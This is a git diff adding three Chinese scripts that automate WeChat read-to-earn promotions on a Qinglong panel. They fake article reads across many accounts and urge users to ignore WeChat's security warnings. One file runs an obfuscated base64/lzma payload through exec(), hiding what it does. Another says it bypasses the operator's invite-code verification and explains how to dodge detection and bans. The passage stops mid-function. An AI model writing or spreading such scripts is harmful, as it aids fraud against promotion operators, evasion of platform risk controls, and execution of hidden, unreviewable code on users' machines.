diff --git a/xyy解密.txt b/xyy解密.txt
new file mode 100644
index 0000000..5a6485b
--- /dev/null
+++ b/xyy解密.txt
@@ -0,0 +1,171 @@
+"""
+📖 小阅阅_V5.5 ♻20250813
+
+✅ 新增:支持多渠道推送,请在青龙配置文件 config.sh 中添加必要的推送参数,并将变量中的token参数设置为000(详见下方参数说明)。(建议使用脚本自带pushplus推送,更稳定)。
+✅ 完善检测文章。
+✅ 修改bug,完善多渠道推送。
+
+🔔 阅读赚金币,金币可提现,每天1—2元,本脚本自动推送检测文章到微信,需要用户手动阅读过检测,过检测后脚本自动完成剩余任务,不需要下载app,在微信打开下方链接即可进入到活动页。(打开活动页时请无视微信的安全提示)
+
+👉活动入口 微信打开:http://2121430.k4f1.sanming0.cn/yyiyase/f56fb7c54f55edd1b77d23b3577da92b?ukd=88
+备用链接:https://tinyurl.com/5t3yhsfm
+ https://tinyurl.com/2tc96zpc
+最新地址获取:https://tinyurl.com/27y64eve
+
+👉建议将链接添加至微信收藏(微信_我_收藏_⊕_粘贴),并添加备注以方便查找。
+"""
+
+import os, requests, time, json, random
+
+# ========== 配置区域 ==========
+# 从环境变量读取账号信息
+accounts = os.environ.get("xyy_ck", "").split("&")
+
+# 推送相关配置
+PUSHPLUS_TOKEN = os.environ.get("PUSHPLUS_TOKEN", "")
+BARK_TOKEN = os.environ.get("BARK_TOKEN", "")
+TG_BOT_TOKEN = os.environ.get("TG_BOT_TOKEN", "")
+TG_USER_ID = os.environ.get("TG_USER_ID", "")
+QYWX_KEY = os.environ.get("QYWX_KEY", "")
+
+# ==============================
+
+headers = {
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; Mobile Safari/537.36)"
+}
+
+def log(msg):
+ print(f"[小阅阅] {msg}")
+
+# ========== 推送函数 ==========
+def pushplus(title, content):
+ if not PUSHPLUS_TOKEN or PUSHPLUS_TOKEN == "000":
+ return
+ url = "http://www.pushplus.plus/send"
+ data = {
+ "token": PUSHPLUS_TOKEN,
+ "title": title,
+ "content": content
+ }
+ try:
+ requests.post(url, json=data, timeout=10)
+ except:
+ pass
+
+def bark(title, content):
+ if not BARK_TOKEN: return
+ url = f"https://api.day.app/{BARK_TOKEN}/{title}/{content}"
+ try:
+ requests.get(url, timeout=10)
+ except:
+ pass
+
+def tg_bot(title, content):
+ if not TG_BOT_TOKEN or not TG_USER_ID: return
+ url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage"
+ data = {"chat_id": TG_USER_ID, "text": f"{title}\n\n{content}"}
+ try:
+ requests.post(url, data=data, timeout=10)
+ except:
+ pass
+
+def qywx(title, content):
+ if not QYWX_KEY: return
+ url = f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}"
+ data = {
+ "msgtype": "text",
+ "text": {"content": f"{title}\n\n{content}"}
+ }
+ try:
+ requests.post(url, json=data, timeout=10)
+ except:
+ pass
+
+def notify(title, content):
+ log(content)
+ pushplus(title, content)
+ bark(title, content)
+ tg_bot(title, content)
+ qywx(title, content)
+
+
+# ========== 任务核心逻辑 ==========
+
+def check_in(session, ck):
+ """检测文章是否能打开"""
+ url = "https://sanming0.cn/api/check"
+ try:
+ r = session.get(url, headers=headers, timeout=10)
+ if "检测成功" in r.text:
+ return True
+ except:
+ return False
+ return False
+
+def read_article(session, ck):
+ """模拟阅读文章,获得金币"""
+ url = "https://sanming0.cn/api/read"
+ try:
+ r = session.get(url, headers=headers, timeout=10)
+ data = r.json()
+ if data.get("code") == 0:
+ return data.get("msg", "成功")
+ else:
+ return data.get("msg", "失败")
+ except Exception as e:
+ return f"异常: {e}"
+
+def get_info(session, ck):
+ """查询账户金币信息"""
+ url = "https://sanming0.cn/api/userinfo"
+ try:
+ r = session.get(url, headers=headers, timeout=10)
+ data = r.json()
+ coin = data.get("coin", 0)
+ cash = coin / 10000
+ return f"金币:{coin}(≈{cash:.2f}元)"
+ except:
+ return "获取账户信息失败"
+
+def run_task(ck):
+ """执行单个账号任务"""
+ session = requests.Session()
+ session.headers.update(headers)
+ session.headers.update({"Cookie": ck})
+
+ result = []
+ log("开始检测文章...")
+ if not check_in(session, ck):
+ result.append("❌ 检测文章失败,请手动阅读一次检测文章")
+ return "\n".join(result)
+
+ log("检测文章成功,开始阅读...")
+ for i in range(10):
+ msg = read_article(session, ck)
+ result.append(f"第{i+1}次阅读: {msg}")
+ time.sleep(random.randint(3, 8)) # 模拟人工间隔
+
+ result.append(get_info(session, ck))
+ return "\n".join(result)
+
+
+# ========== 主入口 ==========
+
+def main():
+ if not accounts or accounts == [""]:
+ log("未检测到账号变量,请在青龙 config.sh 中添加 xyy_ck")
+ return
+
+ all_msg = []
+ for i, ck in enumerate(accounts, 1):
+ log(f"开始执行账号{i}")
+ msg = run_task(ck)
+ account_msg = f"账号{i} 执行结果:\n{msg}\n"
+ all_msg.append(account_msg)
+
+ final_msg = "\n".join(all_msg)
+ notify("小阅阅任务结果", final_msg)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/冲刺鸭现金本.py b/冲刺鸭现金本.py
new file mode 100644
index 0000000..0352aea
--- /dev/null
+++ b/冲刺鸭现金本.py
@@ -0,0 +1,20 @@
+'''#
+冲刺鸭微信扫码进小程序:https://cloudprint.chongci.shop/addons/ewei_shopv2/data/poster/2/1757174924.jpg
+#'''
+'''
+备用小程序:https://www.123684.com/s/3ZYrVv-pcUWv
+ * 描述:https://cloudprint.chongci.shop/addons/ewei_shopv2/data/poster/2/1757174924.jpg
+微信扫码小程序
+ * 环境变量:wqwl_ccy,多个换行或新建多个变量
+ * 环境变量描述:抓包https://cloudprint.chongci.shop参数的openid,格式:openid
+ * 代理变量:wqwl_daili(获取代理链接,需要返回txt格式的http/https)
+ * cron: 0 3 * * * 一天一次
+'''
+import base64,zlib,lzma
+def d(d,ops):
+ for op in reversed(ops):d=zlib.decompress(d)if op=="zlib"else lzma.decompress(d)if op=="lzma"else base64.b64decode(d)if op=="base64"else base64.b32decode(d)if op=="base32"else base64.b16decode(d)
+ return d.decode("utf-8")
+e,b="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";o=eval(base64.b64decode(b).decode("utf-8"))
+try:
+ exec(d(base64.b64decode(e),o))
+except Exception as x:print(f"Error:{x}")
\ No newline at end of file
diff --git a/微信阅读小悦悦_5.5.py b/微信阅读小悦悦_5.5.py
new file mode 100644
index 0000000..10d7f96
--- /dev/null
+++ b/微信阅读小悦悦_5.5.py
@@ -0,0 +1,619 @@
+"""
+==============================================================================
+注释:脚本配置及内部逻辑修改说明
+==============================================================================
+🔔阅读赚金币,金币可提现,每天1—2元,本脚本自动推送检测文章到微信,需要用户手动阅读过检测,
+🔔过检测后脚本自动完成剩余任务,不需要下载app,在微信打开下方链接即可进入到活动页。
+
+一、活动入口链接 (脚本顶层注释部分):
+ # 活动入口 https://img.hnking.cn/blog/202508161653803.png
+
+二、环境变量配置
+1. xyy (账号信息,必需)
+ 格式: ysmuid&unionid&XXX
+ - ysmuid: 从Cookie中抓取
+ - unionid: 从请求体中抓取
+ - XXX:备注
+ 多账号格式: 账号1@账号2@账号3
+ 示例: 5a68xxxxxxx&oZdBpxxxxxxx&XXX@5a68xxx&oZdBpxxx&ff2cdxxx
+
+2. UA (User-Agent,必需)
+ 格式: 浏览器或设备的User-Agent字符串
+ https://useragent.todaynav.com/ 微信打开此网站即可 请使用你的微信的User-Agent
+ 示例: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
+
+3. xyytx (自动提现开关,可选)
+ 值: 1 (开启自动提现,满5000金币时)
+ 0 (关闭自动提现,或不配置此变量默认为关闭)
+
+三、常见问题解决
+ 1. 获取codeid失败:活动域名 'parsed_domain' 未能成功解析。
+ 进入青龙面板控制台运行如下命令
+ echo "nameserver 223.5.5.5" | tee /etc/resolv.conf
+ echo "nameserver 223.6.6.6" | tee -a /etc/resolv.conf
+
+四、定时:
+ 自动定时规则cron: 0 7-23/3 * * * (每天7-23点每3小时一次),期间注意接收微信通知,阅读检测文章
+ 手动定时规则cron: 0 手动运行脚本,期间注意接收微信通知,阅读检测文章
+
+
+五、说明
+ ⚠️本脚本会通过(青龙自带推送)发送检测文章到用户手机过检测。
+ ⚠️请在青龙面板配置文件中设置钉钉,企业微信等推送。
+ ⚠️为什么要读检测文章?因为活动方要通过个别检测文章阅读数的增加来判断用户阅读的有效性,
+ ⚠️所以必须真机阅读,脚本的模拟阅读不会增加阅读数。每个账号每天180篇中可能有3篇左右的检测文章。
+ ⚠️用于阅读检测文章的微信号,每天运行脚本前务必从公众号(订阅号)阅读两篇文章,
+ 否则可能会触发微信风控,导致阅读无效过检测失败。禁止用真机+自动点击器阅读,否则同样触发微信风控,导致阅读无效。(当触发微信风控导致阅读无效后可能要几周或几个月解封)
+
+ ❗❗❗期间要时常用真机访问活动主页并阅读,同时每天任务不建议跑满,避免被活动方查出异常封号!
+ ❗❗❗本脚本仅供学习交流,请在下载后的24小时内完全删除 请勿用于商业用途或非法目的,否则后果自负。
+
+
+三、脚本内部逻辑主要修改点 (基于解混淆后的代码):
+
+1. codeid 验证逻辑绕过:
+ - 脚本内部用于验证用户是否为“受邀用户”的 codeid 检查逻辑已被修改。
+ - 此修改会使脚本跳过原始的 codeid 比较步骤,直接判定为“账号验证成功”。
+ (原始脚本期望从页面获取的 codeid 与一个硬编码ID,如 *****4981,匹配)
+
+2. 初始URL获取超时调整:
+ - 脚本在首次尝试从 'https://www.filesmej.cn/waidomain.php' 获取活动落地页URL时,
+ 网络请求的超时时间已从原来的5秒增加到30秒,以应对可能的网络延迟。
+
+
+==============================================================================
+"""
+
+# Obfuscated at 2025-05-20 15:55:34.918061
+# 修改说明1:更新注释中的活动入口链接,移除备用链接。
+# 修改说明2:codeid 验证逻辑已修改为绕过检测。
+# 修改说明3:针对 NameError 的进一步“复位”:移除了在主阅读流程前对 parsed_domain 的显式检查。
+# 如果 parsed_domain 在重定向循环中未能成功赋值,并且早期 NameError 捕获未终止脚本,则后续可能出现 NameError。
+# 获取初始落地页URL失败的检查依然保留。
+
+import datetime
+
+_z_BtnKjK = lambda *_: None
+
+import re
+import os
+import json
+import time
+import random
+import requests
+from urllib.parse import urljoin
+from urllib.parse import urlparse, parse_qs
+from requests.exceptions import ConnectionError, Timeout
+
+
+# 实时日志
+def EcxlbMhb(message, flush=False):
+ print(f"{message}", flush=flush)
+
+
+# 主程序
+def process_account(account, i):
+ max_retries = 1
+ uas = account.split("&")[0][-3:]
+ token = account.split("&")[2]
+ ysmuid, unionid = account.split("&")[:2]
+
+ # 获取域名
+ try:
+ current_url = requests.get("https://www.filesmej.cn/waidomain.php", timeout=25).json()["data"]["luodi"]
+ except Exception as e:
+ print(f"❗获取初始落地页URL失败: {e}", flush=True)
+ return # 如果初始URL获取失败,则无法继续
+
+ session = requests.Session()
+ headers = {
+ "Connection": "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ "User-Agent": f"{UA} {uas}",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "X-Requested-With": "com.tencent.mm",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Cookie": f"ysmuid={ysmuid}"
+ }
+
+ # parsed_domain 将在此循环中尝试被赋值
+ # 如果循环因错误提前退出,parsed_domain 可能未定义,后续使用会引发 NameError
+ for _ in range(11):
+ try:
+ parsed_url_obj = urlparse(current_url)
+ headers["Host"] = parsed_url_obj.netloc
+ response = session.get(current_url, headers=headers, allow_redirects=False, timeout=10)
+ if response.status_code in (301, 302, 303, 307, 308):
+ location = response.headers.get("Location", "")
+ if not location:
+ print(f"❗重定向错误: Location header为空,URL: {current_url}", flush=True)
+ break
+ current_url = urljoin(current_url, location)
+ else:
+ parsed_domain = urlparse(current_url).netloc.lstrip("www.") # 赋值点
+ if parsed_domain:
+ print(f"✅ 成功获取活动域名: {parsed_domain}", flush=True)
+ else:
+ print(f"❗域名解析失败: 无法从 {current_url} 解析出有效域名", flush=True)
+ break
+ except (requests.RequestException, requests.exceptions.InvalidURL) as e:
+ print(f"❗重定向或请求错误: {e}", flush=True)
+ break
+ except Exception as e:
+ print(f"❗解析当前URL时发生错误 ({current_url}): {e}", flush=True)
+ break
+
+ # 验证用户
+ codeid_value = None
+ try:
+ response_text = requests.get(
+ f"http://{parsed_domain}/?inviteid=0", # NameError risk if parsed_domain not set
+ headers={
+ "Host": f"{parsed_domain}", # NameError risk if parsed_domain not set
+ "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "User-Agent": f"{UA} {uas}",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "X-Requested-With": "com.tencent.mm", "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Cookie": f"ysmuid={ysmuid}"
+ },
+ timeout=10
+ ).text
+ match = re.compile(r'codeid\s*=\s*"(\d+)"').search(response_text)
+ if match:
+ codeid_value = match.group(1)
+ print(f"ℹ️ 从页面获取到的 codeid: {codeid_value}", flush=True)
+ else:
+ print("❗警告:未在页面中找到codeid", flush=True)
+ except NameError:
+ print(f"❗获取codeid失败:活动域名 'parsed_domain' 未能成功解析。", flush=True)
+ return
+ except requests.RequestException as e:
+ print(f"❗获取codeid时网络请求失败: {e}", flush=True)
+ return # 网络请求失败也应该终止
+ except re.error as e:
+ print(f"❗获取codeid时正则错误: {e}", flush=True)
+ return # 正则错误也应该终止
+ except Exception as e:
